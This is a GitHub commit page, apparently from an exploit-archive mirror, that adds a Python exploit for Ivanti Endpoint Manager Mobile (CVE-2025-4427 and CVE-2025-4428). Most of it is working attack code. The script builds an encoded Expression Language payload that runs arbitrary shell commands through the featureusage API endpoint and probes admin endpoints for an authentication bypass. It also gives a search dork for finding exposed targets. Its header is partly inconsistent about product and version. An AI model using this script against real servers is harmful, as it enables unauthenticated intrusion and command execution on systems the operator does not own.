Skip to content

Commit 0a8144c

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents 5e494c4 + e7d763e commit 0a8144c

File tree

7 files changed

+704
-0
lines changed

7 files changed

+704
-0
lines changed

exploits/multiple/remote/52421.py

Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
#!/usr/bin/env python3
2+
3+
# Exploit Title: Ivanti Endpoint Manager Mobile 12.5.0.0 - Authentication Bypass
4+
# Google Dork: inurl:/mifs "Ivanti" OR "EPM" OR "Endpoint Manager"
5+
# Date: 2025-01-21
6+
# Exploit Author: [Your Name] (https://github.com/[your-username])
7+
# Vendor Homepage: https://www.ivanti.com/
8+
# Software Link: https://www.ivanti.com/products/endpoint-manager
9+
# Version: < 2025.1
10+
# Tested on: Ubuntu 22.04 LTS, Python 3.10
11+
# CVE: CVE-2025-4427, CVE-2025-4428
12+
13+
# Description:
14+
# Ivanti Endpoint Manager (EPM) before version 2025.1 contains critical vulnerabilities:
15+
# 1. CVE-2025-4427: Expression Language Injection in featureusage API endpoint allowing RCE
16+
# 2. CVE-2025-4428: Authentication bypass on administrative endpoints
17+
# The vulnerabilities can be chained to achieve unauthenticated remote code execution.
18+
19+
# Requirements:
20+
# - Python 3.x
21+
# - requests >= 2.25.1
22+
# - urllib3
23+
24+
# Usage:
25+
# python3 CVE-2025-4427.py -t https://target-ivanti-epm.com
26+
# python3 CVE-2025-4427.py -t https://target-ivanti-epm.com --exploit -c "whoami"
27+
28+
import requests
29+
import urllib3
30+
import argparse
31+
from urllib.parse import urljoin
32+
33+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
34+
35+
class IvantiExploit:
36+
def __init__(self, target):
37+
self.target = target.rstrip('/') + '/'
38+
self.session = requests.Session()
39+
self.session.verify = False
40+
41+
def detect_cve_2025_4427(self):
42+
"""Quick detection for CVE-2025-4427"""
43+
# Simple math payload for detection
44+
payload = '%24%7b%32%2b%32%7d' # ${2+2}
45+
url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}"
46+
47+
try:
48+
resp = self.session.get(url, timeout=10)
49+
if resp.status_code == 400 and ('4' in resp.text or 'Process[pid' in resp.text):
50+
return True, "CVE-2025-4427 VULNERABLE - Expression Language Injection"
51+
except:
52+
pass
53+
return False, "CVE-2025-4427 NOT VULNERABLE"
54+
55+
def exploit_rce(self, command='id'):
56+
"""Execute command via CVE-2025-4427"""
57+
# URL encode the command
58+
cmd_hex = command.encode().hex()
59+
cmd_encoded = ''.join(f'%{cmd_hex[i:i+2]}' for i in range(0, len(cmd_hex), 2))
60+
61+
# RCE payload
62+
payload = f'%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%2e%65%78%65%63%28%27{cmd_encoded}%27%29%7d'
63+
64+
url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}"
65+
66+
try:
67+
resp = self.session.get(url, timeout=15)
68+
if resp.status_code == 400 and 'Process[pid' in resp.text:
69+
return True, f"RCE SUCCESS: {resp.text[:200]}"
70+
except:
71+
pass
72+
return False, "RCE FAILED"
73+
74+
def detect_cve_2025_4428(self):
75+
"""Quick detection for CVE-2025-4428"""
76+
admin_endpoints = ['/mifs/rs/api/v2/admin', '/admin', '/api/admin']
77+
78+
for endpoint in admin_endpoints:
79+
try:
80+
url = urljoin(self.target, endpoint)
81+
resp = self.session.get(url, timeout=10)
82+
if resp.status_code == 200:
83+
return True, f"CVE-2025-4428 VULNERABLE - Auth bypass on {endpoint}"
84+
except:
85+
continue
86+
return False, "CVE-2025-4428 NOT VULNERABLE"
87+
88+
def run_all_tests(self):
89+
"""Run all detection tests"""
90+
print(f"[+] Testing target: {self.target}")
91+
92+
# Test CVE-2025-4427
93+
vuln_4427, msg_4427 = self.detect_cve_2025_4427()
94+
print(f"[{'!' if vuln_4427 else '-'}] {msg_4427}")
95+
96+
# Test CVE-2025-4428
97+
vuln_4428, msg_4428 = self.detect_cve_2025_4428()
98+
print(f"[{'!' if vuln_4428 else '-'}] {msg_4428}")
99+
100+
# If 4427 is vulnerable, try RCE
101+
if vuln_4427:
102+
print("[+] Attempting RCE...")
103+
rce_success, rce_msg = self.exploit_rce('whoami')
104+
print(f"[{'!' if rce_success else '-'}] {rce_msg}")
105+
106+
return vuln_4427 or vuln_4428
107+
108+
def main():
109+
banner = """
110+
--[[
111+
.___ __ .__ _____________________ _____ _____
112+
| |__ _______ _____/ |_|__| \_ _____/\______ \/ \ / \
113+
| \ \/ /\__ \ / \ __\ | | __)_ | ___/ \ / \ / \ / \
114+
| |\ / / __ \| | \ | | | | \ | | / Y \/ Y \
115+
|___| \_/ (____ /___| /__| |__| /_______ / |____| \____|__ /\____|__ /
116+
\/ \/ \/ \/ \/
117+
--]]
118+
"""
119+
print(banner)
120+
121+
parser = argparse.ArgumentParser()
122+
parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., https://target.com)')
123+
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
124+
parser.add_argument('--exploit', action='store_true', help='Attempt exploitation')
125+
126+
args = parser.parse_args()
127+
128+
exploit = IvantiExploit(args.target)
129+
130+
if args.exploit:
131+
print(f"[+] Exploiting with command: {args.command}")
132+
success, result = exploit.exploit_rce(args.command)
133+
print(f"[{'!' if success else '-'}] {result}")
134+
else:
135+
exploit.run_all_tests()
136+
137+
if __name__ == "__main__":
138+
main()

0 commit comments

Comments
 (0)